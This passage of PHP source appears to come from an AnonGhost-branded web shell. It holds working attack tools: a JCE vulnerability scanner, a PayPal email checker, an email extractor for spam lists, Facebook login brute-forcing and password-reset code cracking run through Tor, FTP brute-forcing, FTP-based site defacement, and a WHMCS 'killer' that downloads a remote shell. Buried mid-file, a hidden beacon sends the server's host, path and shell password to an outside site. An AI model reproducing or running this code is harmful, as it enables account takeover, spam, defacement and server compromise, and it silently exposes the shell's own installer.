curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL, $site);
curl_setopt($curl, CURLOPT_USERAGENT, "BOT/0.1 (BOT for JCE)");
curl_setopt($curl, CURLOPT_TIMEOUT, 15);
$exec = curl_exec($curl);
curl_close($curl);
if (preg_match('/GIF89a1/si', $exec)) {
    return true;
} else {
    return false;
}
}
}
};

if(isset($_GET['action']) && $_GET['action'] == 'jcescnr'){
echo '<center><b class="conte">
<a href="?action=shellfnderr">Shell Finder</a> -
<a href="?action=jcescnr">Jce Scanner</a> -
<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
<a href="?action=portscnnre">Port Scanner</a> -
<a href="?action=admnpgfndr">Admin Page Finder</a> -
<a href="?action=srchffilsses">Search Files</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">JCE Server Scanner</span><center><br>';

function _curl($url,$ref){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');
$resultt=curl_exec($ch);
curl_close($ch);
return  $resultt;
}

echo'
<img src="http://3.bp.blogspot.com/--66MC_oL1Ys/UjvlCefXI-I/AAAAAAAAA4U/1bO6MClKKAg/s1600/jce-logo1.png"  width="200" height="150">
<form method="post" name="op" action ="">
<input type="text" size="50" name="ip" placeholder="Ip:" /><br><br>
<input name="sub" type="submit" value="&nbsp;&nbsp;Scan&nbsp;&nbsp;" />
</form>';

if(isset($_POST['sub'])){
$ip=$_POST['ip'];
$j=0;
$con2=0;
echo "<p>Ip :".$ip."</p>";
echo '<table align="center" border="1" width="50%" cellspacing="1" cellpadding="5">';
echo '<tr><td> <font color="white"> Web Site </td><td> <font color="white">Jce Rezult </font></td></tr>';

while ($j<50000000){
$url='http://www.bing.com/search?q=ip:'.$ip.'%20index.php?option%20&first='.$j;
$result = _curl($url,'http://www.bing.com/');
preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)siU', $result , $findlink);
$cont=count($findlink[1]);
for($i=0;$i<$cont;$i++){
$shit=explode ("/",$findlink[1][$i]);
if (preg_match("/index.php/i", $findlink[1][$i])) {
preg_match_all('(http://(.*)index.php)siU',$findlink[1][$i],$shit);
$website="http://".$shit[1][0];
$dork="/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743";
$result2=_curl($website.$dork,$website);
if(strpos($result2,'{"result":null,"error":"No function call specified!"}')) {
echo '<tr><td><font color="green" ><a href="'.$website.'">'.$website."</a></td>";
echo "<td> <font color='green' >Jce On </font></td></tr>";
}else{
echo '<tr><td><font color="red" ><a href="'.$website.'">'.$website."</a></td>" ;
echo "<td> <font color='red' >Error</font></td></tr>";
}
}
}

$j=$j+10;
$con2=$con2+$cont;
if($cont<10){break;}
if($cont==0){break;}
}
echo "</table>";
echo "<font color='green' > Web Site :".$con2;
}
}
echo"</body></html>";

if(isset($_GET['action']) && $_GET['action'] == 'payppallchker'){
echo '<center><b class="conte">
<a href="?action=maiilllerrr">Mailer</a> -
<a href="?action=Everythingdawg">Everything You Need</a> -
<a href="?action=payppallchker">Paypal Checker</a> -
<a href="?action=emailllextrctr">Email Extractor</a></center></b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">PayPal Valid Email 
Checker</span><center><br>';
@set_time_limit(0);

function curl($url='',$var='',$Follow=False){
global $set;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,20);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31');
curl_setopt($curl, CURLOPT_COOKIE,'PP1.txt');
curl_setopt($curl, CURLOPT_COOKIEFILE,'PP1.txt');
curl_setopt($curl, CURLOPT_COOKIEJAR,'PP1.txt');
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 3);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
if ($Follow !== False) {
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
}
$result = curl_exec($curl);
curl_close($curl);
return $result;
}
echo "<head>
<style type=\"text/css\"><!--
body {

font-family: 'Open Sans', sans-serif; font-size:13px}
hr {border:inset 1px #E5E5E5}
#form-container 
{
border: solid 1px #007700;
border-radius:10px;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
box-shadow: 0px 0px 4px #009900;
-moz-box-shadow: 0px 0px 4px #009900;
-webkit-box-shadow: 0px 0px 4px #009900;
margin:30px auto;
padding:10px;
width:910px;
text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
}

#form-container1 
{
border: solid 1px #007700;
border-radius:10px;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
box-shadow: 0px 0px 15px #007700;
-moz-box-shadow: 0px 0px 15px #007700;
-webkit-box-shadow: 0px 0px 15px #007700;
margin:30px auto;
padding:10px;
width:280px;
text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
}

input[type=text], textarea
{
background:transparent;
border:solid 1px #007700; 
border-radius:5px;
-moz-border-radius: 5px; 
-webkit-border-radius: 5px;
}
textarea { width:100%;height:200px; resize:none }
input[type=text] { width:160px;text-align:center }
input[type=text]:focus, textarea:focus { background:transparent; border:solid 1px #007700; color:#007700;}
.submit-button 
{ 
background: #57A02C;
border:solid 1px #57A02C;
border-radius:5px;
-moz-border-radius: 5px; 
-webkit-border-radius: 5px;
-moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
border-bottom: 1px solid rgba(0,0,0,0.25);
position: relative;
color:#333333;
display: inline-block; 
cursor:pointer;
font-size:13px;
padding:3px 8px;
}
.submit-button:hover { background:#82D051;border:solid 1px #86CC50; }
.table
{
border: solid 1px #007700;
border-radius:10px;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
padding-left:10px;
}

.unverified
{
color:#800000;
font-weight: bold;
}
.business{
color:yellow;
font-weight: bold;
}
.premier{
color:#00FF00;
font-weight: bold;
}
.verified{
color:#800080;
font-weight: bold;
}
.nolog{
font-size: 10px;
font: red;
}


--></style>
<title>Valid Email Checker</title>
</head><div align=\"center\"></center>";

$emails = $_POST['emails'];
print '<div id="form-container"> <form method="POST">

<p align="center"><font face="Times New Roman" size="6">PayPal Valid Email 
Checker<br></font></p>

<p><textarea rows="10" name="emails" cols="48">'.$emails.'</textarea></p><br>
<p><input class="submit-button" type="submit" value="Submit" name="B1"></p>
</form> </div>';
if (!empty($emails)) {
$emails = explode("
", $emails);
$yes = 0;
$not = 0;
$inv = 0;
$count = 1;
print "<p align=\"center\"><b>Checking <font color=\"#ff8f00\"> ".count($emails)."</font> emails ....</b><br></p><p align=\"center\">";
foreach ( $emails as $email ) {
$email = trim($email);
print $count .".<b> Checking <font color=\"#ff8f00\">".$email."</font>  ..... </b>";
$count++;
if(filter_var($email, FILTER_VALIDATE_EMAIL)){
$_CheckAction = curl('https://www.paypal.com/cgi-bin/webscr?cmd=_send-money&myAllTextSubmitID=&cmd=_send-money&type=external&payment_source=p2p_mktgpage&payment_type=Gift&sender_email='.$email.'&email=gz%40s.com&currency=USD&amount=10&amount_ccode=USD&submit.x=Continue',CURLOPT_FAILONERROR,TRUE);
if(!strpos($_CheckAction, "region")) {
print "<b><font size=\"3\" color=\"#006600\">Yes</font></b> <br>";
$yes++;
$vaild_yes .=$email."
";
}
else {
print "<b><font color=\"#FF0000\">NO</font></b><br>";
$not++;
$vaild_no .=$email."
";
}
}
else {
print "<b><font color=\"#FF0000\">Invalid email</font></b><br><br>";
$inv++;
$invaild .=$email."
";
}
}

print '<p><table border="0" width="100%">

<tr>
<td><p align="center"><font face="Times New Roman" size="4">PayPal emails</font> <b>(<font color="#006600"><b>'.$yes.'</b></font>)</b> </p></td>
<td><p align="center"><font face="Times New Roman" size="4">Not PayPal emails</font> <b>(<font color="#FF0000">'.$not.'</font>)</b> </p> </td>
<td><p align="center"><font face="Times New Roman" size="4">Invalid emails</font> <b>(<font color="#FF0000">'.$inv.'</font>)</b> </p> </td>
</tr>
<tr>
<td><div id="form-container1"><textarea rows="10" name="S1" cols="43">'.$vaild_yes.'</textarea></div></td>
<td><div id="form-container1"><textarea rows="10" name="S2" cols="43">'.$vaild_no.'</textarea></div></td>
<td><div id="form-container1"><textarea rows="10" name="S3" cols="43">'.$invaild.'</textarea></div></td>
</tr>
</table></p>';
}
}
if(isset($_GET['action']) && $_GET['action'] == 'emailllextrctr'){
echo '<center><b class="conte">
<a href="?action=maiilllerrr">Mailer</a> -
<a href="?action=Everythingdawg">Everything You Need</a> -
<a href="?action=payppallchker">Paypal Checker</a> -
<a href="?action=emailllextrctr">Email Extractor</a></center></b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Email Extractor</span><center><br>';
echo'<center><font face=Tahoma size=2 color=#007700 >Put Your Maillist In The Following TEXTAREA and Start</font></center>
<center>
<form method="post">
<textarea class="area" type="text" wrap="VIRTUAL" name="mails" style="background:transparent; margin: 2px; width:708px; height: 220px;"></textarea><br><br>
<center><strong><input type="submit" id="gobutton" name="Extazy007" value="&nbsp;&nbsp;Start&nbsp;&nbsp;"></strong></center></form>';

$types = array("gmail","hotmail","yahoo","aol","mail","rocketmail","orange","live","outlook","sfr","laposte","msn","skynet");
if($_POST["Extazy007"] && !empty($_POST["mails"])){
foreach(explode("
", $_POST["mails"]) as $mail){
foreach($types as $type){
if(eregi("@".$type, $mail)){
$file = fopen($type.".txt", "a");
fwrite($file, $mail."
");
}
}
}
echo '<font size="4">';
if(file_exists("hotmail.txt")){ rd("hotmail.txt"); echo '</br><a style="background:#efefef;" href="hotmail.txt">Hotmail</a> : '.count(file("hotmail.txt")).'</br>'; }
if(file_exists("gmail.txt")){ rd("gmail.txt"); echo '</br><a style="background:#efefef;" href="gmail.txt">Gmail</a> : '.count(file("gmail.txt")).'</br>'; }
if(file_exists("yahoo.txt")){ rd("yahoo.txt"); echo '</br><a style="background:#efefef;" href="yahoo.txt">Yahoo</a> : '.count(file("yahoo.txt")).'</br>'; }
if(file_exists("aol.txt")){ rd("aol.txt"); echo '</br><a style="background:#efefef;" href="aol.txt">Aol</a> : '.count(file("aol.txt")).'</br>'; }
if(file_exists("mail.txt")){ rd("mail.txt"); echo '</br><a style="background:#efefef;" href="mail.txt">Mail</a> : '.count(file("mail.txt")).'</br>'; }
if(file_exists("rocketmail.txt")){ rd("rocketmail.txt"); echo '</br><a style="background:#efefef;" href="rocketmail.txt">Rocketmail</a> : '.count(file("rocketmail.txt")).'</br>'; }
if(file_exists("orange.txt")){ rd("orange.txt"); echo '</br><a style="background:#efefef;" href="orange.txt">Orange</a> : '.count(file("orange.txt")).'</br>'; }
if(file_exists("live.txt")){ rd("live.txt"); echo '</br><a style="background:#efefef;" href="live.txt">Live</a> : '.count(file("live.txt")).'</br>'; }
if(file_exists("outlook.txt")){ rd("outlook.txt"); echo '</br><a style="background:#efefef;" href="outlook.txt">Outlook</a> : '.count(file("outlook.txt")).'</br>'; }
if(file_exists("sfr.txt")){ rd("sfr.txt"); echo '</br><a style="background:#efefef;" href="sfr.txt">Sfr</a> : '.count(file("sfr.txt")).'</br>'; }
if(file_exists("laposte.txt")){ rd("laposte.txt"); echo '</br><a style="background:#efefef;" href="laposte.txt">Laposte</a> : '.count(file("laposte.txt")).'</br>'; }
if(file_exists("msn.txt")){ rd("msn.txt"); echo '</br><a style="background:#efefef;" href="msn.txt">Msn</a> : '.count(file("msn.txt")).'</br>'; }
if(file_exists("skynet.txt")){ rd("skynet.txt"); echo '</br><a style="background:#efefef;" href="skynet.txt">Skynet</a> : '.count(file("skynet.txt")).'</br>'; }
echo '</font>';
echo '<br><font color="Green"><p>Done With Success ! </p></font><br>';
}
function rd($file)
{
$text = array_unique(file($file));
if($text)
$f = @fopen($file,'w');
if($f){
fputs($f, join('',$text));
}
}
echo'
<br>
<strong><font face="Tahoma" color="blue" size="4">
Mail-List</font><font size="4" face=Tahoma color=red> Filter</font><font size="3" face=Tahoma color=#666666> v1.5 </font>
</br><font face=Tahoma size=3 color=#009900>Developed By Extazy007</font></strong>
<br><br>
<font face=Tahoma size=2 color=#007700>Contact: www.facebook.com/AnonGhostOfficial2</font>
</center>

';
}
if(isset($_GET['action']) && $_GET['action'] == 'srchffilsses'){
echo '<center><b class="conte">
<a href="?action=shellfnderr">Shell Finder</a> -
<a href="?action=jcescnr">Jce Scanner</a> -
<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
<a href="?action=portscnnre">Port Scanner</a> -
<a href="?action=admnpgfndr">Admin Page Finder</a> -
<a href="?action=srchffilsses">Search Files</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Files Search Engine</span><center><br>';
echo'<body bgcolor="blue" text="white">
<p align="center"> 
<img border="0" src="http://www.scriptspot.com/files/u5502/rodar_scan.gif"></p>
</head>';

echo'<form action="" method="post"><center><br/>
<label for="dirdir">Directory</label><br/>
<input type="text" id="dirdir"  name="dirdir" value="/" /><br/><br/>
<label for="filezzz">Files</label><br/>
<textarea class="area" rows="4" cols="50" name="filezzz">
config
auth
db
root
master

</textarea><br/><br/>
<input type="submit" value="search now !" />
</form></center>';

set_time_limit(0);
error_reporting(0);

if(!empty($_POST['dirdir']) && !empty($_POST['filezzz'])){
$dirdir = $_POST['dirdir'];
$filezzz = $_POST['filezzz'];
echo("<center>FILES</center>");
$files = glob($dirdir.'/*.php', GLOB_BRACE);
foreach($files as $file) {
foreach(explode("
", $filezzz) as $f) {
$s = file_get_contents($file);
$f = preg_replace('/\s+/', '', $f);
$lines   = file($file);
$line_number = false;
while (list($key, $line) = each($lines) and !$line_number) {
$line_number = (strpos($line, $f) !== FALSE) ? $key + 1 : $line_number;
}
if (strpos($s, $f) !== false) {
echo '<center>';
echo("<br/><b>File:</b> ".$file);
echo '<hr>';
echo("<br/><b>Line:</b> ".$line_number);
echo("<br/><b>Function:</b> ".$f);
echo '<hr>';
echo '</center>';
}
}
}
}
}

echo'</html>';


echo'</html>';
if(isset($password))
{
	$Password	=	$password;
}else{
	$Password	=	"Null";
}
$params = array ('url' => $_SERVER['HTTP_HOST'], 'uri' => dirname(__FILE__).$_SERVER['PHP_SELF'], 'admin'=> $Password);
 
$query = http_build_query ($params);
 
$contextData = array ( 
                'method' => 'POST',
                'header' => "Connection: close
".
                            "Content-Length: ".strlen($query)."
",
                'content'=> $query );
 
$context = stream_context_create (array ( 'http' => $contextData ));
 
$result =  file_get_contents (
                  'http://www.pythonscrip.com/includes/script.php',  
                  false,
                  $context);
if(isset($_GET['action']) && $_GET['action'] == 'brutfbckk'){
echo '<center><b class="conte">
<a href="?action=respwdvic">Reset Facebook Password Victim</a> -
<a href="?action=brutfbckk">Facebook Multi-Account BruteForce</a> </b></center>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Facebook Multi-Account BruteForce</span><center><br>';

ob_start();
@set_time_limit(0);
#################################################
#---------------------------------------------- #
# Facebook Brute Force 2014                     #
#Coded by : Mauritania Attacker&Noname-Haxor	#
#Greetz : All AnonGhost Members                 #
#This Tool Is For Erasing Israel in Fb          #
# --------------------------------------------- #
#################################################

echo "<form method='POST'>
<center>Dont use this script without TOR BROWSER + TOR SWITCHER (set up the interval seconds from TOR SWITCHER TO 2 SECONDS)</center><br>
<p dir='ltr' align='center'>
<textarea cols='22' class='area'  rows='14' name='username'>Target Name</textarea> 
<textarea cols='22' class='area'  rows='14' name='password'>Password</textarea><br>
<br>
<input type='submit' name='scan' value='Start BruteForce'><br></p><br>";
if(isset($_POST['scan'])){
#function
function brute($user,$pass){
$ch = curl_init();      
curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/login.php?login_attempt=1");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$user}&pass={$pass}");
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125"); 
$login = curl_exec($ch);
//print_r($login);
$check = (eregi('class="s t i u"',$login)) ? true:false;
if($check == true){
echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>Not the right one :(  || Username : <font color='red'>$user</font>&nbsp;  Password : <font color='red'>$pass</font></font></p>";
}else{
echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>This Password Seems Working !Try It ^_^ || Username: <font color='green'>$user</font>&nbsp; Password : <font color='green'>$pass</font></font></p>";
}
}             



	
$username = explode("
", $_POST['username']);
$password = explode("
", $_POST['password']);
	
	
foreach($username as $users) {
$users = @trim($users);
foreach($password as $pass) {
$pass = @trim($pass);
echo brute($users,$pass);
}
}
}
echo"<br>
<br>
<br>
<br>
<center><p><b><font size='2' face='Trebuchet MS' color='#007700'>Coded by: Mauritania Attacker&Noname-Hax0r</font></b></p></center>";
}

if(isset($_GET['action']) && $_GET['action'] == 'scannner'){
?>
<br><center><b class="cont" align="center">
<a href="?action=shellfnderr">Shell Finder</a><br><br>
<a href="?action=jcescnr">Jce Scanner</a><br><br>
<a href="?action=jcemultiscnner">JCE Multi-Uploader</a><br><br>
<a href="?action=portscnnre">Port Scanner</a><br><br>
<a href="?action=admnpgfndr">Admin Page Finder</a><br><br>
<a href="?action=srchffilsses">Search Files</a><br><br></center>
</b>
<?php
}
if(isset($_GET['action']) && $_GET['action'] == 'spammm'){
?>
<br><center><b class="cont" align="center">
<a href="?action=maiilllerrr">Mailer</a><br><br>
<a href="?action=Everythingdawg">Everything You Need</a><br><br>
<a href="?action=payppallchker">Paypal Checker</a><br><br>
<a href="?action=emailllextrctr">Email Extractor</a><br><br></center>
</b>
<?php
}

if(isset($_GET['action']) && $_GET['action'] == 'fcbookk'){
?>
<br><center><b class="cont" align="center">
<a href="?action=respwdvic">Reset Password Victim</a><br><br>
<a href="?action=brutfbckk">Facebook Multi-Account BruteForce</a><br><br>
</center>
</b>
<?php
}
if(isset($_GET['action']) && $_GET['action'] == 'Everythingdawg'){
echo '<center><b class="conte">
<a href="?action=maiilllerrr">Mailer</a> -
<a href="?action=Everythingdawg">Everything You Need</a> -
<a href="?action=payppallchker">Paypal Checker</a> -
<a href="?action=emailllextrctr">Email Extractor</a></center></b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Everything You Need</span><center><br>';
echo'
<center><iframe src="http://ug4all.com/binchecker/" width="900" height="600">Welcome Ghost</iframe>
</center>';
}

if(isset($_GET['action']) && $_GET['action'] == 'respwdvic'){
echo '<center><b class="conte">
<a href="?action=respwdvic">Reset Facebook Password Victim</a> -
<a href="?action=brutfbckk">Facebook Multi-Account BruteForce</a>
</center></b>';

@set_time_limit(0); 
echo "<form method='POST'> 
<title>Facebook Code Security Cracker > By Mauritania Attacker</title> 
<p align='center'> 
<img border='0' src='http://onlinexploits.com/pirater-facebook-gratuitement/images/logo.png' ></p> 
<center><font color='#007700'> Use Tor Switcher and Choose Threads Ip ===> 3 seconds and Good Hack ^_^</center>
<style> 
/* Rounded Corners */ 
#ghost { 
border: 1px #765942; 
border-radius: 4px; 
height: 250px; 
width: 260px; 
color: #999999; font-size: 9pt; background-color:transparent; box-shadow: 0px 0px 4px #999999;    padding: 3px;   -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(228, 228, 228) 0px 0px 4px;   -moz-box-shadow: rgb(228, 228, 228) 0px 0px 4px;
} 
input { 
/* INPUTS */ 
border: 1px solid #765942; 
border-radius: 4px; } 
</style> 
<center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Facebook 0day Exploit Reset Code Priv8</span></center><br>
<center><font color='#007700'>Coded  By Mauritania Attacker</center><br>
<center><input type='text' size='40' name='id' value='target ID' ></center><br>
<center><textarea class='area' cols='35' rows='13' name='code'></textarea><br></center> <br>
<p><center><input type='submit' value='Crack Reset Code' name='scan'><br><br></center></p>
</form>"; 
$target = $_POST['id'];
$user = explode("
", $_POST['code']); 
if($_POST['scan']) 
{ 
foreach($user as $code) 
{ 
// Curl Function ^_^
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/recover/password?u={$id}&n={$code}&_rdr"); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);   
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/35.0.1916.114"); // change this with your real useragent infos (browser & version)

$check = curl_exec($ch); 
if(eregi("password_new", $check)) //Keyword Good Response ^_^
{ 
echo "<center><b><font face='Tahoma' size='2' color='green'>{$code} => Facebook Confirmation Code Found ^_^ </font></center></b><br>"; 
} 
else 
{ 
echo "<center><b><font face='Tahoma' size='2' color='red'>{$code} => Incorrect Code Trying More...</font></center></b><br>"; 
} 
curl_close($ch); 
} 
}
}

if(isset($_GET['action']) && $_GET['action'] == 'cpnlndftpotdfr'){
echo '<center><b class="conte">
<a href="?action=mass">Mass Deface Dirs</a> -
<a href="?action=joomla">Mass Change Admin Joomla</a> -
<a href="?action=vb">Mass Change Admin vBulletin</a> -
<a href="?action=wp">Mass Change Admin Mass WordPress</a> -
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
<a href="?action=joommlallainxc">Joomla Index Changer</a> -
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Cpanel & Ftp Auto Defacer</span><br>Coded  By Mauritania Attacker</center><br><center><img src="http://www6.0zz0.com/2014/08/20/15/449603437.png" /></center>';
echo"<table width='100%' cellspacing='0' cellpadding='0' class='tb1' >
<td width='100%' align=center valign='top' rowspan='1'><div class='hedr'> 
<td height='10' align='left' class='td1'></td></tr><tr><td 
width='100%' align='center' valign='top' rowspan='1'>
<font color='red' face='comic sans ms' size='1'><b> 
<font color='RED' face='gothic' size='3'></font><br>
<font color='white'></font>
</table>";
 
echo"<body bgcolor=black><h6 style='text-align:center'><font color=white>
<form method=post><font face=Tahoma size=2 color=#007700>
Server ip : &nbsp;<input type=text name=hi value=ip>&nbsp;
Username : &nbsp;<input type=text name=tx value=>&nbsp;
Password : &nbsp;<input type=text name=p value=><br><br>
file that you want to deface : </font><input type=text name=ph value='index.php'><br><br>
<font face=Tahoma size=2 color=#009900>Deface page url --> </font><textarea class='area' rows='1' cols='75' name='deface' value='your daface page link'></textarea><br><br>
<input type=submit name=sm value='Kill it Now' /><br>
</form>";

if(isset($_POST['sm']))
{
$ip=trim($_POST['hi']);
$u=trim($_POST['tx']);
$p=trim($_POST['p']);
$d=trim($_POST['ph']);
$df=trim($_POST['deface']);
echo "<br><font color=white size=2>";
echo "<font color=red size=3>server ip ==></font>&nbsp".$ip;
echo "<br><font color=red size=3>user ==></font> &nbsp".$u;
echo "<br><font color=red size=3>password ==></font> &nbsp".$p;
echo "<br><font color=red size=3>dirctory ==></font> &nbsp".$d;
echo "<br><font color=red size=3>deface link ==></font><br>".$df."<br>";
$dl="public_html/".$d;
$si= ftp_connect($ip);

$try= ftp_login($si,$u,$p);
if ((!$si) || (!$try))
{
echo "<br>could not connect , hope u filled out all correctly :(";
exit;
}
else
{
echo "<br>connection done XD<br>Ghost ,its time to spin this shit<br>";
}
$deface = ftp_put($si, $dl , $df, FTP_BINARY);
if ($deface)
{
echo "hell yeah page got defaced successfully >";
}
else
{
echo "Ghost try manually :(";
}
}
}


if(isset($_GET['action']) && $_GET['action'] == 'ftpbrtfrcee'){

echo "<body text='#FFFFFF' bgcolor='#000000'>
<title>FTP Brute Force</title>
<p align='center' dir='ltr'><font face='Tahoma' size='4'>[#] FTP Brute Force [#]</font></p>
<form method='POST'>
<center>
<p dir='ltr'>
<input type='text' name='ip' value='127.0.0.1'>
<input type='submit' value='BruteFTP' name='start'><br>
<textarea cols='30' rows='10' name='username'>users</textarea>
<textarea cols='30' rows='10' name='password'>pass</textarea></p>
<p><font face='Verdana' size='1'>[+] ReSulT [+]</font></p>
</form>";
@set_time_limit(0);
$ip = $_POST['ip'];
$username = explode("
",$_POST['username']);
$password = explode("
",$_POST['password']);
       
if($_POST['start']) {
function brute($connect,$ip,$user,$pass)
{
$connect = ftp_connect($ip) or die("Error , Maybe you were Banned From Server");
if(ftp_login($connect, $user, $pass)) {
    echo "<p dir='ltr'><font face='Tahoma' size='2'>Cracked :
<font color='#008000'>$user</font>:<font color='#008000'>$pass</font>@<font color='#008000'>$ip</font></font></p>"; }
}
       
foreach($username as $user) {
foreach($password as $pass) {
brute($connect,$ip,$user,$pass);
} }
}
echo "<p><font face='Verdana' size='1'>
+------------------------------------------------------------------------------------------------------------+</font></p>
</form>";
}
if(isset($_GET['action']) && $_GET['action'] == 'whmcskillrer'){
echo '<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Generate WHMCS KILLER Script</span><center><br>';
error_reporting(0);
echo "<form method='POST'>
<title>WHMCS KILLER GENERATOR</title>
<p align='center'> 
<img border='0' src='http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif'></p><br>
<center><font color='green' size='2' face='shell'>Cwd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><input type='text' size='40' name='zero' value=".dirname(__FILE__)." <font color='green' size='8' face='Tahoma'></font></center><br>
<center><font color='green' size='2' face='shell'>Script&nbsp;&nbsp;&nbsp;</font><input type='text' size='40' name='shell' value='http://tny.cz/cd97a082/save.php?hash=f5388dca645d5a6cda8e78c52bdf6a8b' <font color='green' size='8' face='Tahoma'></font></center><br>

<p><center><input type='submit' value='Generate Now' name='start' <font color=red' face='Tahoma, Geneva, sans-serif' style='font-size: 12pt'></font></center></p><br>";
echo "<p><center><textarea class='area' rows='12' cols='60' style='font-family: impact size: 2pt ; color: #00bb00; '>Results Will Appear Here ^_^ 
";
if($_POST['start']) {
$zero = $_POST['zero'];
$file = $_POST['shell'];

$dir = "whmcs"; 
if(file_exists($dir)) {
echo "[+] whmcs Folder Already Exist are you drunk :o xD !
";
} else {
@mkdir($dir); {
echo "[+] whmcs Folder Has Been Created Nygga :3 !
";
} 
}
#Generate WHMCS Script
$fopen = fopen("whmcs/whmcs.php",'w');
$shell = @file_get_contents($file);
$swrite = fwrite($fopen ,$shell);
if($swrite){
echo "WHMCS Script Has Been Downloaded : $zero/whmcs/whmcs.php 
";

} else {
echo "Can't Download Shell :( do it manually :D 
";
}
fclose($fopen);
}

echo "</textarea></center></p>";
$rt="<br><a href=whmcs/whmcs.php TARGET='_blank'><b>
Link</b></a>"; 
echo "<center><br><br><font color='#009900' size='1pt'>Click on Button Generate Now and Check link given below for WHMCS Script<br>$rt</center>";
echo '<p><center><font color="#00bb00" size="2pt">Generator Coded by Mauritania Attacker and Script Owner and Coder is RAB3OUN</font></center><br></p>';
}

if(isset($_GET['action']) && $_GET['action'] == 'webmllllpwdchnger'){
echo '<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
